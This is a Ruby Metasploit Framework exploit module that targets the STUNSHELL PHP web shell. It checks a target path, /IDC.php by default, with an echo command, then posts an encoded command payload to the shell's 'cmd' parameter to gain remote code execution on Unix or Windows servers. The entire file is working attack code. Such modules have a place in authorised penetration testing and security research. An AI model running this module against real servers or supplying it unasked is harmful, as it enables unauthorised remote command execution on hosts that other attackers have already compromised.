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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'STUNSHELL Web Shell Remote Code Execution', 'Description'=> %q{ This module exploits unauthenticated versions of the "STUNSHELL" web shell. This module works when safe mode is disabled on the web server.This shell is widely used in automated RFI payloads. }, 'License'=> MSF_LICENSE, 'Author' => [ 'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module ], 'References' => [ ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'], ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'] ], 'Privileged' => false, 'Payload'=> { 'Space'=> 10000, # Value determined by web server's POST limits 'BadChars' => '', 'DisableNops' => true, 'Compat'=> { 'PayloadType' => 'cmd' } }, 'Platform' => ['unix', 'win'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['stunshell / Unix', { 'Platform' => 'unix' } ], ['stunshell / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 23 2013', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]), ],self.class) end def check uri = normalize_uri(target_uri.path.to_s) request_parameters = { 'method'=> 'POST', 'uri'=> uri, 'vars_post'=> { 'cmd' => "echo 'andalas_oku test parameter'" } } shell = send_request_cgi(request_parameters) if (shell and shell.body =~ /andalas_oku test parameter/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s) request_parameters = { 'method'=> 'POST', 'uri'=> uri, 'vars_post'=> { 'cmd' => cmd } } res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') end end def exploit http_send_command(payload.encoded) end end |
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